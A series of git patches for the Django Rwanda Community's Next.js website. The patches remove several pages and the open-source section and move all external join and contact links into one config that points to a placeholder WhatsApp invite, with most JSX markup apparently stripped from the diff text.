-import Link from "next/link";
-
-export const metadata = {
- title: "Local Problem Solutions | Django Rwanda Resources",
- description: "Build solutions for challenges specific to African communities",
-};
-
-const problemAreas = [
- {
- icon: Users,
- title: "Healthcare Access",
- description: "Solutions for improving healthcare delivery in remote areas",
- ideas: [
- "Telemedicine platform for rural clinics",
- "Mobile health records system",
- "Vaccination tracking system",
- ],
- },
- {
- icon: MapPin,
- title: "Agriculture & Food Security",
- description: "Tech solutions for smallholder farmers",
- ideas: [
- "Crop yield prediction and advisory system",
- "Farmer marketplace connecting to buyers",
- "Weather and market data platform",
- ],
- },
- {
- icon: TrendingUp,
- title: "Financial Inclusion",
- description: "Making financial services accessible to the unbanked",
- ideas: [
- "Mobile banking platform for small businesses",
- "Microfinance management system",
- "Community savings group platform",
- ],
- },
- {
- icon: Lightbulb,
- title: "Education",
- description: "Innovative solutions for educational challenges",
- ideas: [
- "Offline-first learning management system",
- "STEM skills platform for youth",
- "Teacher training and resource portal",
- ],
- },
-];
-
-export default function ProblemSolutionsPage() {
- return (
-
-
-
-
- ← Back to Resources
-
-
- Local Problem Solutions
-
-
- Discover challenges in African communities and build impactful
- solutions that create real change.
-
-
-
-
-
-
-
- {problemAreas.map((area, idx) => {
- const Icon = area.icon;
- return (
-
-
-
-
-
-
-
- {area.title}
-
-
{area.description}
-
-
-
-
-
- Problem-Solution Ideas:
-
- {area.ideas.map((idea, i) => (
-
-
- {idea}
-
- ))}
-
-
-
- Explore Opportunities
-
-
- );
- })}
-
-
-
-
- );
-}
diff --git a/app/sitemap/page.tsx b/app/sitemap/page.tsx
deleted file mode 100644
index eff0a86..0000000
--- a/app/sitemap/page.tsx
+++ /dev/null
@@ -1,109 +0,0 @@
-import Link from "next/link";
-import { Card } from "@/src/components/ui/card";
-import { Folder } from "lucide-react";
-
-export const metadata = {
- title: "Sitemap | Django Rwanda Community",
- description: "Complete site structure and navigation",
-};
-
-const sitemapSections = [
- {
- title: "Main Pages",
- links: [
- { label: "Home", href: "/" },
- { label: "About Community", href: "/#community" },
- ],
- },
- {
- title: "Learning",
- links: [
- { label: "All Workshops", href: "/workshops" },
- { label: "Django Fundamentals", href: "/workshops/1" },
- { label: "Advanced Django Patterns", href: "/workshops/2" },
- { label: "Building APIs with Django REST", href: "/workshops/3" },
- { label: "Full-Stack Django & React", href: "/workshops/4" },
- ],
- },
- {
- title: "Events",
- links: [
- { label: "All Events", href: "/events" },
- { label: "Monthly Meetup - Kigali", href: "/events/1" },
- { label: "Django Bootcamp - Q1 2025", href: "/events/2" },
- { label: "Open Source Contribution Day", href: "/events/3" },
- ],
- },
- {
- title: "Community",
- links: [
- { label: "Community Hub", href: "/community" },
- { label: "Join Community", href: "/community/join" },
- { label: "Code of Conduct", href: "/community/code-of-conduct" },
- { label: "How to Contribute", href: "/community/contribute" },
- { label: "Sponsorship", href: "/community/sponsorship" },
- ],
- },
- {
- title: "Resources",
- links: [
- { label: "All Resources", href: "/resources" },
- { label: "Startup Toolkit", href: "/resources/startup-toolkit" },
- { label: "Funding Directory", href: "/resources/funding-directory" },
- { label: "Mentorship Network", href: "/resources/mentorship" },
- { label: "Problem Solutions", href: "/resources/problem-solutions" },
- ],
- },
- {
- title: "Legal",
- links: [
- { label: "Privacy Policy", href: "/privacy" },
- { label: "Terms of Service", href: "/terms" },
- { label: "Sitemap", href: "/sitemap" },
- ],
- },
-];
-
-export default function SitemapPage() {
- return (
-
-
-
-
- Sitemap
-
-
- Browse all pages and sections of Django Rwanda Community website
-
-
-
-
-
-
-
- {sitemapSections.map((section, idx) => (
-
-
-
- {section.title}
-
-
- {section.links.map((link, i) => (
-
-
- {link.label}
-
-
- ))}
-
-
- ))}
-
-
-
-
- );
-}
diff --git a/app/workshops/[id]/page.tsx b/app/workshops/[id]/page.tsx
deleted file mode 100644
index 38d038c..0000000
--- a/app/workshops/[id]/page.tsx
+++ /dev/null
@@ -1,217 +0,0 @@
-import { workshops } from "@/src/lib/constants";
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Badge } from "@/src/components/ui/badge";
-import { Clock, Calendar } from "lucide-react";
-import Image from "next/image";
-import Link from "next/link";
-import { notFound } from "next/navigation";
-
-export async function generateStaticParams() {
- return workshops.map((workshop) => ({
- id: workshop.id.toString(),
- }));
-}
-
-export async function generateMetadata(props: {
- params: Promise<{ id: string }>;
-}) {
- const params = await props.params;
- const workshop = workshops.find((w) => w.id === Number.parseInt(params.id));
- return {
- title: `${workshop?.title} | Django Workshop`,
- description: workshop?.description,
- };
-}
-
-export default async function WorkshopDetailPage(props: {
- params: Promise<{ id: string }>;
-}) {
- const params = await props.params;
- const workshop = workshops.find((w) => w.id === Number.parseInt(params.id));
-
- if (!workshop) {
- notFound();
- }
-
- const syllabus = [
- {
- week: 1,
- topics: ["Introduction to Django", "Project Setup", "Models & Database"],
- },
- { week: 2, topics: ["Views & URL Routing", "Templates", "Static Files"] },
- {
- week: 3,
- topics: ["Forms & Validation", "Authentication", "Permissions"],
- },
- { week: 4, topics: ["Deployment", "Best Practices", "Project Showcase"] },
- ];
-
- const schedule = [
- {
- day: "Monday & Wednesday",
- time: "6:00 PM - 8:00 PM",
- type: "Live Sessions",
- },
- { day: "Friday", time: "4:00 PM - 6:00 PM", type: "Q&A & Office Hours" },
- { day: "Self-paced", time: "Anytime", type: "Video Lessons & Assignments" },
- ];
-
- return (
-
- {/* Header */}
-
-
-
- ← Back to Workshops
-
-
-
-
-
- {workshop.title}
-
-
- {workshop.description}
-
-
-
- {workshop.level}
-
-
-
- {workshop.duration}
-
-
-
-
-
-
-
-
- {/* Content */}
-
-
-
- {/* Featured Image */}
-
-
-
-
- {/* Overview */}
-
-
- Course Overview
-
-
- This {workshop.duration} {workshop.level.toLowerCase()} level
- course is designed to help you master{" "}
- {workshop.title.toLowerCase()}. You'll learn through
- hands-on projects, real-world examples, and guidance from
- experienced instructors.
-
-
- By the end of this course, you'll have built multiple
- applications and be ready to contribute to production Django
- projects.
-
-
-
- {/* Schedule */}
-
-
- Class Schedule
-
-
- {schedule.map((item, idx) => (
-
-
-
-
-
- {item.type}
-
-
- {item.day}
-
-
- {item.time}
-
-
- ))}
-
-
-
- {/* Syllabus */}
-
-
- Course Syllabus
-
-
- {syllabus.map((week) => (
-
-
- Week {week.week}
-
-
- {week.topics.map((topic) => (
-
-
- {topic}
-
- ))}
-
-
- ))}
-
-
-
- {/* Requirements */}
-
-
- Prerequisites
-
-
-
- • Basic Python knowledge or completion of Python fundamentals
- course
-
- • Understanding of HTML and CSS
- • A computer with Python installed
- • 5-7 hours per week for coursework and assignments
-
-
-
- {/* CTA */}
-
-
-
- Enroll Now
-
-
-
-
- Ask Questions
-
-
-
-
-
-
-
- );
-}
diff --git a/app/workshops/page.tsx b/app/workshops/page.tsx
index e04fbd4..db14bfd 100644
--- a/app/workshops/page.tsx
+++ b/app/workshops/page.tsx
@@ -1,4 +1,4 @@
-import { workshops } from "@/src/lib/constants";
+import { workshops, communityLinks } from "@/src/lib/constants";
import { Card } from "@/src/components/ui/card";
import { Button } from "@/src/components/ui/button";
import { Badge } from "@/src/components/ui/badge";
@@ -75,9 +75,13 @@ export default function WorkshopsPage() {
{/* CTA */}
-
+
- View Details
+ Register
diff --git a/src/components/home-sections/contact-section.tsx b/src/components/home-sections/contact-section.tsx
new file mode 100644
index 0000000..605df4d
--- /dev/null
+++ b/src/components/home-sections/contact-section.tsx
@@ -0,0 +1,79 @@
+import { Button } from "@/src/components/ui/button";
+import { communityLinks } from "@/src/lib/constants";
+import { Mail, MapPin, Github, ArrowRight } from "lucide-react";
+import Link from "next/link";
+
+export function ContactSection() {
+ return (
+
+ );
+}
diff --git a/src/components/home-sections/events-section.tsx b/src/components/home-sections/events-section.tsx
index 05f2be2..e499161 100644
--- a/src/components/home-sections/events-section.tsx
+++ b/src/components/home-sections/events-section.tsx
@@ -1,4 +1,4 @@
-import { events } from "@/src/lib/constants";
+import { events, communityLinks } from "@/src/lib/constants";
import { Card } from "@/src/components/ui/card";
import { Button } from "@/src/components/ui/button";
import { Calendar, MapPin, Users, Clock } from "lucide-react";
@@ -56,15 +56,24 @@ export function EventsSection() {
{/* CTA */}
-
+
- View Details
+ Register
))}
+
+ {/* View all */}
+
+
+
+ View all events
+
+
+
);
diff --git a/src/components/home-sections/hero.tsx b/src/components/home-sections/hero.tsx
index e337b84..2410384 100644
--- a/src/components/home-sections/hero.tsx
+++ b/src/components/home-sections/hero.tsx
@@ -1,6 +1,7 @@
import { Button } from "@/src/components/ui/button";
import { ArrowRight, Sparkles, Code2, Users, Zap } from "lucide-react";
import Link from "next/link";
+import { communityLinks } from "@/src/lib/constants";
export function Hero() {
return (
@@ -50,23 +51,23 @@ export function Hero() {
{/* CTA Buttons */}
-
+
- Get Started
+ Join Community
-
+
- Explore Resources
+ Explore Workshops
diff --git a/src/components/home-sections/open-source-section.tsx b/src/components/home-sections/open-source-section.tsx
index a4442a6..8523728 100644
--- a/src/components/home-sections/open-source-section.tsx
+++ b/src/components/home-sections/open-source-section.tsx
@@ -1,4 +1,4 @@
-import { openSourceProjects } from "@/src/lib/constants";
+import { openSourceProjects, communityLinks } from "@/src/lib/constants";
import { Card } from "@/src/components/ui/card";
import { Button } from "@/src/components/ui/button";
import { Badge } from "@/src/components/ui/badge";
@@ -59,12 +59,18 @@ export function OpenSourceSection() {
{/* CTA */}
-
- Contribute
-
+
+ Contribute
+
+
))}
@@ -79,7 +85,7 @@ export function OpenSourceSection() {
experienced developer, there's a place for you in our
open-source community.
-
+
Start Contributing Today
diff --git a/src/components/home-sections/team-section.tsx b/src/components/home-sections/team-section.tsx
index 1050fde..c630a13 100644
--- a/src/components/home-sections/team-section.tsx
+++ b/src/components/home-sections/team-section.tsx
@@ -1,4 +1,4 @@
-import { teamMembers } from "@/src/lib/constants";
+import { teamMembers, communityLinks } from "@/src/lib/constants";
import { Card } from "@/src/components/ui/card";
import Image from "next/image";
import { Github, Linkedin, Twitter } from "lucide-react";
@@ -88,7 +88,9 @@ export function TeamSection() {
the Django community in Rwanda.
Get Involved
diff --git a/src/components/home-sections/workshops-section.tsx b/src/components/home-sections/workshops-section.tsx
index 2b3f840..7c01f63 100644
--- a/src/components/home-sections/workshops-section.tsx
+++ b/src/components/home-sections/workshops-section.tsx
@@ -67,17 +67,19 @@ export function WorkshopsSection() {
{workshop.duration}
-
- {/* CTA */}
-
-
- Learn More
-
-
))}
+
+ {/* View all */}
+
+
+
+ View all workshops
+
+
+
);
diff --git a/src/components/layout/footer.tsx b/src/components/layout/footer.tsx
index 135825c..37e04bb 100644
--- a/src/components/layout/footer.tsx
+++ b/src/components/layout/footer.tsx
@@ -2,6 +2,7 @@ import { Button } from "@/src/components/ui/button";
import Link from "next/link";
import { Mail, Github, Twitter } from "lucide-react";
import { Logo } from "@/src/components/logo";
+import { communityLinks } from "@/src/lib/constants";
export function Footer() {
return (
@@ -84,7 +85,8 @@ export function Footer() {
Join Us
@@ -92,7 +94,7 @@ export function Footer() {
Code of Conduct
@@ -100,18 +102,18 @@ export function Footer() {
- Contribute
+ Open Source
- Sponsorship
+ Contact
@@ -155,12 +157,6 @@ export function Footer() {
>
Terms
-
- Sitemap
-
diff --git a/src/components/layout/header.tsx b/src/components/layout/header.tsx
index aed9581..59a9b71 100644
--- a/src/components/layout/header.tsx
+++ b/src/components/layout/header.tsx
@@ -2,7 +2,7 @@
import Link from "next/link";
import { useState } from "react";
-import { navigationItems } from "@/src/lib/constants";
+import { navigationItems, communityLinks } from "@/src/lib/constants";
import { Menu, X } from "lucide-react";
import { Button } from "@/src/components/ui/button";
import { Logo } from "@/src/components/logo";
@@ -19,7 +19,7 @@ export function Header() {
{/* Desktop Navigation */}
- {navigationItems.slice(0, 6).map((item) => (
+ {navigationItems.map((item) => (
-
- Sign In
-
-
+
Join Community
@@ -69,12 +66,11 @@ export function Header() {
))}
-
-
- Sign In
-
-
-
+ setIsMenuOpen(false)}
+ >
Join Community
diff --git a/src/lib/constants.ts b/src/lib/constants.ts
index 2a813c4..4a4efdf 100644
--- a/src/lib/constants.ts
+++ b/src/lib/constants.ts
@@ -1,16 +1,26 @@
-import { id } from "date-fns/locale"
-
// Community content constants
+
+// Single-page navigation. Hrefs are absolute ("/#...") so the anchors also
+// resolve from the standalone /workshops and /events pages.
export const navigationItems = [
- { label: "Community", href: "community" },
- { label: "Workshops", href: "#workshops" },
- { label: "Events", href: "#events" },
- { label: "Open Source", href: "#open-source" },
- { label: "Team", href: "#team" },
- { label: "Resources", href: "#resources" },
- { label: "Contact", href: "#contact" },
+ { label: "Community", href: "/#community" },
+ { label: "Workshops", href: "/#workshops" },
+ { label: "Events", href: "/#events" },
+ { label: "Open Source", href: "/#open-source" },
+ { label: "Team", href: "/#team" },
+ { label: "Contact", href: "/#contact" },
]
+// External community channels. No on-site backend — Join/Contact point here.
+// TODO: replace `join` with your real signup link (Google Form / WhatsApp / Discord invite).
+export const communityLinks = {
+ join: "https://github.com/djangorwanda",
+ email: "hello@djangorwanda.dev",
+ github: "https://github.com/djangorwanda",
+ twitter: "https://twitter.com/djangorwanda",
+ location: "Kigali Innovation Hub, Kigali, Rwanda",
+}
+
export const communityMission = {
title: "Our Mission",
subtitle: "Building African Tech Leaders Through Django",
From df7971b3bb852a573995077d8870e8a725db4b7e Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 18:28:30 +0200
Subject: [PATCH 3/8] refactor: remove open-source section, tab, and related
content
- Delete the Open Source homepage section and its component
- Remove the 'Open Source' nav tab and footer link
- Drop the openSourceProjects data and the 'Open Source' community value
- Remove the 'Open Source Projects' hero stat (stats grid 3 -> 2 cols)
---
app/page.tsx | 2 -
.../home-sections/community-section.tsx | 6 +-
src/components/home-sections/hero.tsx | 16 +---
.../home-sections/open-source-section.tsx | 95 -------------------
src/components/layout/footer.tsx | 8 --
src/lib/constants.ts | 32 -------
6 files changed, 5 insertions(+), 154 deletions(-)
delete mode 100644 src/components/home-sections/open-source-section.tsx
diff --git a/app/page.tsx b/app/page.tsx
index 2a5dd66..5957ac5 100644
--- a/app/page.tsx
+++ b/app/page.tsx
@@ -2,7 +2,6 @@ import { Hero } from "@/src/components/home-sections/hero";
import { CommunitySection } from "@/src/components/home-sections/community-section";
import { WorkshopsSection } from "@/src/components/home-sections/workshops-section";
import { EventsSection } from "@/src/components/home-sections/events-section";
-import { OpenSourceSection } from "@/src/components/home-sections/open-source-section";
import { TeamSection } from "@/src/components/home-sections/team-section";
import { ContactSection } from "@/src/components/home-sections/contact-section";
@@ -13,7 +12,6 @@ export default function Home() {
-
>
diff --git a/src/components/home-sections/community-section.tsx b/src/components/home-sections/community-section.tsx
index 6704c5c..42b4e70 100644
--- a/src/components/home-sections/community-section.tsx
+++ b/src/components/home-sections/community-section.tsx
@@ -1,8 +1,8 @@
import { communityMission } from "@/src/lib/constants";
import { Card } from "@/src/components/ui/card";
-import { Heart, Users, Lightbulb, Globe } from "lucide-react";
+import { Heart, Lightbulb, Globe } from "lucide-react";
-const valueIcons = [Heart, Users, Lightbulb, Globe];
+const valueIcons = [Heart, Lightbulb, Globe];
export function CommunitySection() {
return (
@@ -22,7 +22,7 @@ export function CommunitySection() {
{/* Values grid */}
-
+
{communityMission.values.map((value, idx) => {
const Icon = valueIcons[idx];
return (
diff --git a/src/components/home-sections/hero.tsx b/src/components/home-sections/hero.tsx
index 2410384..e258a69 100644
--- a/src/components/home-sections/hero.tsx
+++ b/src/components/home-sections/hero.tsx
@@ -1,5 +1,5 @@
import { Button } from "@/src/components/ui/button";
-import { ArrowRight, Sparkles, Code2, Users, Zap } from "lucide-react";
+import { ArrowRight, Sparkles, Users, Zap } from "lucide-react";
import Link from "next/link";
import { communityLinks } from "@/src/lib/constants";
@@ -73,7 +73,7 @@ export function Hero() {
{/* Stats with green styling */}
-
+
@@ -98,18 +98,6 @@ export function Hero() {
Events Hosted
-
-
-
-
-
- 20+
-
-
-
- Open Source Projects
-
-
diff --git a/src/components/home-sections/open-source-section.tsx b/src/components/home-sections/open-source-section.tsx
deleted file mode 100644
index 8523728..0000000
--- a/src/components/home-sections/open-source-section.tsx
+++ /dev/null
@@ -1,95 +0,0 @@
-import { openSourceProjects, communityLinks } from "@/src/lib/constants";
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Badge } from "@/src/components/ui/badge";
-import { Github, Star, UsersIcon } from "lucide-react";
-import Link from "next/link";
-
-export function OpenSourceSection() {
- return (
-
-
- {/* Section header */}
-
-
- Open Source & Contribution
-
-
- Join our thriving open-source ecosystem. Contribute to projects that
- matter, learn from experienced developers, and build solutions for
- African communities.
-
-
-
- {/* Projects grid */}
-
- {openSourceProjects.map((project) => (
-
- {/* Header with icon */}
-
-
- {/* Content */}
-
- {project.title}
-
- {project.description}
-
- {/* Stats */}
-
-
-
-
- {project.stars}
-
-
-
-
-
- {project.contributors} contributors
-
-
-
-
- {/* CTA */}
-
-
- Contribute
-
-
-
- ))}
-
-
- {/* Contribution CTA */}
-
-
- Ready to Contribute?
-
-
- Every contribution matters. Whether you're a beginner or
- experienced developer, there's a place for you in our
- open-source community.
-
-
-
Start Contributing Today
-
-
-
-
- );
-}
diff --git a/src/components/layout/footer.tsx b/src/components/layout/footer.tsx
index 37e04bb..50f92ba 100644
--- a/src/components/layout/footer.tsx
+++ b/src/components/layout/footer.tsx
@@ -100,14 +100,6 @@ export function Footer() {
Code of Conduct
-
-
- Open Source
-
-
Date: Tue, 30 Jun 2026 18:49:50 +0200
Subject: [PATCH 4/8] refactor: scrub remaining open-source mentions from copy
and data
- Reword mission, footer, and SEO metadata to drop 'open source'
- Remove the 'Open Source Contribution Day' event
- Update team role/bio (Open Source & Tech Lead -> Tech Lead)
---
app/layout.tsx | 2 +-
src/components/layout/footer.tsx | 2 +-
src/lib/constants.ts | 15 +++------------
3 files changed, 5 insertions(+), 14 deletions(-)
diff --git a/app/layout.tsx b/app/layout.tsx
index baf34fb..dfe64cd 100644
--- a/app/layout.tsx
+++ b/app/layout.tsx
@@ -18,7 +18,7 @@ const geistMono = Geist_Mono({
export const metadata: Metadata = {
title: "Django Rwanda Community",
description:
- "Empowering African developers through Django. Join our community for workshops, open source contributions, and collaborative innovation.",
+ "Empowering African developers through Django. Join our community for workshops, events, and collaborative innovation.",
icons: {
icon: [
{
diff --git a/src/components/layout/footer.tsx b/src/components/layout/footer.tsx
index 50f92ba..fc997c3 100644
--- a/src/components/layout/footer.tsx
+++ b/src/components/layout/footer.tsx
@@ -13,7 +13,7 @@ export function Footer() {
- Empowering African developers through Django, open source, and
+ Empowering African developers through Django and
community-driven innovation.
diff --git a/src/lib/constants.ts b/src/lib/constants.ts
index fa062c0..b54337b 100644
--- a/src/lib/constants.ts
+++ b/src/lib/constants.ts
@@ -24,7 +24,7 @@ export const communityMission = {
title: "Our Mission",
subtitle: "Building African Tech Leaders Through Django",
description:
- "Django Rwanda Community is dedicated to fostering a vibrant, inclusive ecosystem of developers across Africa. We believe in the power of community, collaboration, and open-source innovation to solve local challenges and create global opportunities.",
+ "Django Rwanda Community is dedicated to fostering a vibrant, inclusive ecosystem of developers across Africa. We believe in the power of community, collaboration, and innovation to solve local challenges and create global opportunities.",
values: [
{
title: "Community First",
@@ -95,15 +95,6 @@ export const events = [
description: "Intensive bootcamp to launch your Django journey and build real projects.",
attendees: 200,
},
- {
- id: 3,
- title: "Open Source Contribution Day",
- date: "Every 4th Thursday",
- time: "6:00 PM",
- location: "Online",
- description: "Collaborate on open source projects and contribute to the Django ecosystem.",
- attendees: 78,
- },
]
export const teamMembers = [
@@ -124,9 +115,9 @@ export const teamMembers = [
{
id: 3,
name: "Jean Paul Elisa NIYOKWIZERWA",
- role: "Open Source & Tech Lead",
+ role: "Tech Lead",
image: "/placeholder-user.svg",
- bio: "Championing open source contributions and technical excellence.",
+ bio: "Championing technical excellence and engineering best practices.",
},
{
id: 5,
From 9f05216d8a999b692349a39ba8db81406b682530 Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 19:18:48 +0200
Subject: [PATCH 5/8] refactor: make site truly single-page, drop
workshops/events pages
- Remove standalone /workshops and /events routes (now sections only)
- Remove the 'View all workshops/events' buttons from the homepage
- Repoint hero 'Explore Workshops' and footer links to on-page anchors
Routes: 6 -> 4 (/, /code-of-conduct, /privacy, /terms)
---
app/events/page.tsx | 91 ------------------
app/workshops/page.tsx | 96 -------------------
.../home-sections/events-section.tsx | 9 --
src/components/home-sections/hero.tsx | 2 +-
.../home-sections/workshops-section.tsx | 11 ---
src/components/layout/footer.tsx | 4 +-
6 files changed, 3 insertions(+), 210 deletions(-)
delete mode 100644 app/events/page.tsx
delete mode 100644 app/workshops/page.tsx
diff --git a/app/events/page.tsx b/app/events/page.tsx
deleted file mode 100644
index 14eb4cd..0000000
--- a/app/events/page.tsx
+++ /dev/null
@@ -1,91 +0,0 @@
-import { events, communityLinks } from "@/src/lib/constants";
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Calendar, MapPin, Users, Clock, ArrowRight } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Events & Meetups | Django Rwanda Community",
- description:
- "Join our community events, meetups, and bootcamps across Africa",
-};
-
-export default function EventsPage() {
- return (
-
- {/* Header */}
-
-
-
-
- Events & Meetups
-
-
- Connect with fellow developers through our regular meetups,
- bootcamps, and collaborative events.
-
-
-
-
-
- {/* Upcoming Events */}
-
-
-
- Upcoming Events
-
-
- {events.map((event) => (
-
-
- {/* Event info */}
-
-
- {event.title}
-
-
{event.description}
-
- {/* Details */}
-
-
-
- {event.date}
-
-
-
- {event.time}
-
-
-
- {event.location}
-
-
-
- {event.attendees} attending
-
-
-
-
- {/* CTA */}
-
-
- Register
-
-
-
-
-
- ))}
-
-
-
-
- );
-}
diff --git a/app/workshops/page.tsx b/app/workshops/page.tsx
deleted file mode 100644
index db14bfd..0000000
--- a/app/workshops/page.tsx
+++ /dev/null
@@ -1,96 +0,0 @@
-import { workshops, communityLinks } from "@/src/lib/constants";
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Badge } from "@/src/components/ui/badge";
-import { Clock, BarChart3, ArrowRight } from "lucide-react";
-import Image from "next/image";
-import Link from "next/link";
-
-export const metadata = {
- title: "Django Workshops | Learn Django",
- description:
- "Comprehensive Django workshops from fundamentals to advanced patterns",
-};
-
-export default function WorkshopsPage() {
- return (
-
- {/* Header */}
-
-
-
-
- Learning & Workshops
-
-
- Master Django through our comprehensive workshops. Choose your
- level and start learning today.
-
-
-
-
-
- {/* Workshops Grid */}
-
-
-
- {workshops.map((workshop) => (
-
- {/* Image */}
-
-
- {/* Content */}
-
-
- {workshop.title}
-
-
{workshop.description}
-
- {/* Meta info */}
-
-
-
-
- {workshop.level}
-
-
-
-
- {workshop.duration}
-
-
-
- {/* CTA */}
-
-
- Register
-
-
-
-
-
- ))}
-
-
-
-
- );
-}
diff --git a/src/components/home-sections/events-section.tsx b/src/components/home-sections/events-section.tsx
index e499161..69db195 100644
--- a/src/components/home-sections/events-section.tsx
+++ b/src/components/home-sections/events-section.tsx
@@ -65,15 +65,6 @@ export function EventsSection() {
))}
-
- {/* View all */}
-
-
-
- View all events
-
-
-
);
diff --git a/src/components/home-sections/hero.tsx b/src/components/home-sections/hero.tsx
index e258a69..19f4896 100644
--- a/src/components/home-sections/hero.tsx
+++ b/src/components/home-sections/hero.tsx
@@ -61,7 +61,7 @@ export function Hero() {
-
+
))}
-
- {/* View all */}
-
-
-
- View all workshops
-
-
-
);
diff --git a/src/components/layout/footer.tsx b/src/components/layout/footer.tsx
index fc997c3..bd33858 100644
--- a/src/components/layout/footer.tsx
+++ b/src/components/layout/footer.tsx
@@ -62,7 +62,7 @@ export function Footer() {
Workshops
@@ -70,7 +70,7 @@ export function Footer() {
Events
From 0246fa45001f07df1e88305dad3c872e08e3186d Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 19:23:02 +0200
Subject: [PATCH 6/8] feat(footer): make 'Get Involved' a WhatsApp community
join CTA
Replace the non-functional email newsletter input with a button
linking to the WhatsApp community invite (communityLinks.whatsapp).
---
src/components/layout/footer.tsx | 26 ++++++++++++++------------
src/lib/constants.ts | 3 ++-
2 files changed, 16 insertions(+), 13 deletions(-)
diff --git a/src/components/layout/footer.tsx b/src/components/layout/footer.tsx
index bd33858..e3e8dd7 100644
--- a/src/components/layout/footer.tsx
+++ b/src/components/layout/footer.tsx
@@ -1,6 +1,6 @@
import { Button } from "@/src/components/ui/button";
import Link from "next/link";
-import { Mail, Github, Twitter } from "lucide-react";
+import { Mail, Github, Twitter, MessageCircle } from "lucide-react";
import { Logo } from "@/src/components/logo";
import { communityLinks } from "@/src/lib/constants";
@@ -111,22 +111,24 @@ export function Footer() {
- {/* Contact CTA */}
+ {/* Get Involved */}
Get Involved
- Stay updated with the latest news and opportunities.
+ Join our WhatsApp community to connect with fellow developers and
+ stay updated on events and opportunities.
-
-
-
- Join
+
+
+
+ Join WhatsApp Community
-
+
diff --git a/src/lib/constants.ts b/src/lib/constants.ts
index b54337b..9ac5ab1 100644
--- a/src/lib/constants.ts
+++ b/src/lib/constants.ts
@@ -11,9 +11,10 @@ export const navigationItems = [
]
// External community channels. No on-site backend — Join/Contact point here.
-// TODO: replace `join` with your real signup link (Google Form / WhatsApp / Discord invite).
+// TODO: replace `join` and `whatsapp` with your real invite links.
export const communityLinks = {
join: "https://github.com/djangorwanda",
+ whatsapp: "https://chat.whatsapp.com/your-invite-code", // TODO: paste the WhatsApp community invite link
email: "hello@djangorwanda.dev",
github: "https://github.com/djangorwanda",
twitter: "https://twitter.com/djangorwanda",
From 8ada080effacc01c01f296dffb6de28a8ca1743e Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 19:25:22 +0200
Subject: [PATCH 7/8] refactor: centralize all external links in communityLinks
config
- Make communityLinks in src/lib/constants.ts the single source of truth
(join, whatsapp, github, twitter, email, phone, location) with docs/TODOs
- Wire the last hardcoded footer links (GitHub, Twitter, email) to it
---
src/components/layout/footer.tsx | 6 +++---
src/lib/constants.ts | 21 ++++++++++++++++-----
2 files changed, 19 insertions(+), 8 deletions(-)
diff --git a/src/components/layout/footer.tsx b/src/components/layout/footer.tsx
index e3e8dd7..ebf0bec 100644
--- a/src/components/layout/footer.tsx
+++ b/src/components/layout/footer.tsx
@@ -18,21 +18,21 @@ export function Footer() {
diff --git a/src/lib/constants.ts b/src/lib/constants.ts
index 9ac5ab1..26e0239 100644
--- a/src/lib/constants.ts
+++ b/src/lib/constants.ts
@@ -10,14 +10,25 @@ export const navigationItems = [
{ label: "Contact", href: "/#contact" },
]
-// External community channels. No on-site backend — Join/Contact point here.
-// TODO: replace `join` and `whatsapp` with your real invite links.
+// ─────────────────────────────────────────────────────────────────────────────
+// SINGLE SOURCE OF TRUTH for every external link / contact channel on the site.
+// Edit a value here and it updates everywhere (header, hero, footer, contact…).
+// `email` and `phone` are raw values — components add the mailto:/tel: prefix.
+// TODO: replace the placeholder values below with the real ones.
+// ─────────────────────────────────────────────────────────────────────────────
export const communityLinks = {
- join: "https://github.com/djangorwanda",
- whatsapp: "https://chat.whatsapp.com/your-invite-code", // TODO: paste the WhatsApp community invite link
- email: "hello@djangorwanda.dev",
+ // Primary "Join Community" CTA (header, hero, team, events, contact)
+ join: "https://github.com/djangorwanda", // TODO: real signup/landing link
+ // WhatsApp community invite (footer "Get Involved")
+ whatsapp: "https://chat.whatsapp.com/your-invite-code", // TODO: real WhatsApp invite link
+
+ // Social / code
github: "https://github.com/djangorwanda",
twitter: "https://twitter.com/djangorwanda",
+
+ // Contact details (raw — no mailto:/tel: prefix)
+ email: "hello@djangorwanda.dev",
+ phone: "+250788000000", // TODO: real phone number (or remove usages)
location: "Kigali Innovation Hub, Kigali, Rwanda",
}
From 7d6072cbf63c7ebc6ae25fc190f15c46b8292824 Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 19:36:56 +0200
Subject: [PATCH 8/8] feat: point all Join Community CTAs to the WhatsApp
community
WhatsApp is now the single primary entry point. Repoint every join CTA
(header, hero, team, events, footer) to communityLinks.whatsapp and
remove the now-unused join field.
---
src/components/home-sections/contact-section.tsx | 2 +-
src/components/home-sections/events-section.tsx | 2 +-
src/components/home-sections/hero.tsx | 2 +-
src/components/home-sections/team-section.tsx | 2 +-
src/components/layout/footer.tsx | 2 +-
src/components/layout/header.tsx | 4 ++--
src/lib/constants.ts | 5 ++---
7 files changed, 9 insertions(+), 10 deletions(-)
diff --git a/src/components/home-sections/contact-section.tsx b/src/components/home-sections/contact-section.tsx
index 605df4d..7b697e6 100644
--- a/src/components/home-sections/contact-section.tsx
+++ b/src/components/home-sections/contact-section.tsx
@@ -66,7 +66,7 @@ export function ContactSection() {
Become part of a growing network of Django developers across Africa.
-
+
Join Community
diff --git a/src/components/home-sections/events-section.tsx b/src/components/home-sections/events-section.tsx
index 69db195..993dc16 100644
--- a/src/components/home-sections/events-section.tsx
+++ b/src/components/home-sections/events-section.tsx
@@ -56,7 +56,7 @@ export function EventsSection() {
{/* CTA */}
-
+
Register
diff --git a/src/components/home-sections/hero.tsx b/src/components/home-sections/hero.tsx
index 19f4896..fdb3c62 100644
--- a/src/components/home-sections/hero.tsx
+++ b/src/components/home-sections/hero.tsx
@@ -51,7 +51,7 @@ export function Hero() {
{/* CTA Buttons */}
-
+
